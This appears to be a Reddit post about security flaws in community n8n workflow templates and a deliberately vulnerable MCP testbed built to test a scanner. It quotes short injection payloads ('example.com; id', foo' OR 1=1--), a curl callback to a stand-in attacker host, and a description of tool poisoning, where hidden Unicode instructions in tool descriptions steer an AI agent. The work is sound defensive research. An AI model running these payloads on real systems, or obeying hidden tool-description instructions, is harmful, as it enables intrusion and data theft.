u/theMiddleBlue

I run a few n8n workflows in prod and I've been pulling templates from n8n website and GitHub. Last month I got curious about how safe they actually are if I just import them and wire my credentials. So I wrote a scanner and ran it on all of them.

12,750 templates total. 1,000 from n8n website (the top by views), 11,752 unique from the 8 biggest community repos on GitHub (88k combined stars, the ones you find when you Google "awesome n8n").

2,488 of them have at least one path where a request from the public internet ends up in a sensitive place: shell command, SQL query, AI prompt, HTTP request to an attacker-picked host. No login needed. Anyone who finds the webhook URL can hit them.

Some examples I tested end-to-end against my own synthetic targets:

What I learned that I wish someone had told me sooner: A template is not a finished product. It's a JSON file an author tested with their own credentials, on their own network, against their own threat model. None of that comes with it when you import. The view counter does not measure safety.

Before activating any community template, the two things to check first:

1. Every HTTP Request node's URL field. If it has `={{ $json.x }}` anywhere in the host part, that's an SSRF. Hardcode the host, put the dynamic part in path or query, validate it.

2. Every database node's query field. If the query string has `{{ }}` inside it, switch to the parameterised binding the node already supports.

The agent generating the SQL is not a real boundary.

Also: if the trigger is a public webhook, a public form, or a Telegram/chat bot, anyone on the internet is in your threat model. The README walkthroughs almost never say this.

If you've imported a template and now you're nervous, the post has a "what to check" section at the end. If you've shipped a template yourself, the same section is the patch list.

I built an active vulnerability scanner for MCP servers. To test it, I made a deliberately vulnerable n8n MCP, with tools that fail in specific ways. Like DVWA, but for MCP. Then I ran the scanner against it to see what it catches and what it misses.

I want to share the classes I designed payloads for, because some are obvious and some are not, and I would like feedback on what is missing.

Obvious classes

A resolve_hostname tool that runs host $input in an Execute Command node. Input example.com; id runs both commands and the agent reads the output of id. Classic command injection.

A get_customers tool that puts the search string directly into a SQL query. Classic SQL injection with foo' OR 1=1--.

A get_logs tool that returns the last 200 lines of an application log. If the log contains an old AWS key from a previous deploy, the key goes into the agent context. Classic content leak.

Less obvious classes

Tool descriptions can contain zero-width Unicode characters, bidirectional overrides, and ANSI escape codes. A human reading the dashboard sees a clean description. The agent reads the raw bytes with hidden instructions inside. This is "tool poisoning", documented by Invariant Labs in April 2025.

Blind command execution: the tool runs a command but returns nothing about it. The standard detection is a DNS callback to an attacker-controlled domain. If the tool runs curl http://<attacker>/x, you confirm the injection even if the response is empty.

Race conditions on tools that create things. Five parallel requests against a create_invoice tool. If no idempotency check fires, the agent (or anyone with the key) creates five invoices.

Question to the community

I am building the scanner around these probe families: SQL injection, command injection, SSRF, path traversal, BOLA, tool poisoning, content leak, race conditions, blind detection via out-of-band callbacks.

What classes am I missing? What other patterns have you seen in n8n MCP setups that I should add to the deliberately-vulnerable testbed?

Background and a 4-node gating workflow here: https://blog.aironclaw.com/mcp-security-scan-toolkit/

If you want to test it, it's free to use here https://aironclaw.com/. Feedback are more than welcome :D